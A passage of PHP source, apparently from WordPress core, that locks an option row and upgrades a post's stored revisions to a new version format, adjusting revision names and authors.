$now = time(); $result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') /* LOCK */", $lock, $now ) ); if ( ! $result ) { // If we couldn't get a lock, see how old the previous lock is $locked = get_option( $lock ); if ( ! $locked ) { // Can't write to the lock, and can't read the lock. // Something broken has happened return false; } if ( $locked > $now - 3600 ) { // Lock is not too old: some other process may be upgrading this post. Bail. return false; } // Lock is too old - update it (below) and continue } // If we could get a lock, re-"add" the option to fire all the correct filters. update_option( $lock, $now ); reset( $revisions ); $add_last = true; do { $this_revision = current( $revisions ); $prev_revision = next( $revisions ); $this_revision_version = _wp_get_post_revision_version( $this_revision ); // Something terrible happened if ( false === $this_revision_version ) continue; // 1 is the latest revision version, so we're already up to date. // No need to add a copy of the post as latest revision. if ( 0 < $this_revision_version ) { $add_last = false; continue; } // Always update the revision version $update = array( 'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ), ); // If this revision is the oldest revision of the post, i.e. no $prev_revision, // the correct post_author is probably $post->post_author, but that's only a good guess. // Update the revision version only and Leave the author as-is. if ( $prev_revision ) { $prev_revision_version = _wp_get_post_revision_version( $prev_revision ); // If the previous revision is already up to date, it no longer has the information we need :( if ( $prev_revision_version < 1 ) $update['post_author'] = $prev_revision->post_author; } // Upgrade this revision $result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) ); if ( $result ) wp_cache_delete( $this_revision->ID, 'posts' ); } while ( $prev_revision ); delete_option( $lock ); // Add a copy of the post as latest revision. if ( $add_last ) wp_save_post_revision( $post->ID ); return true; }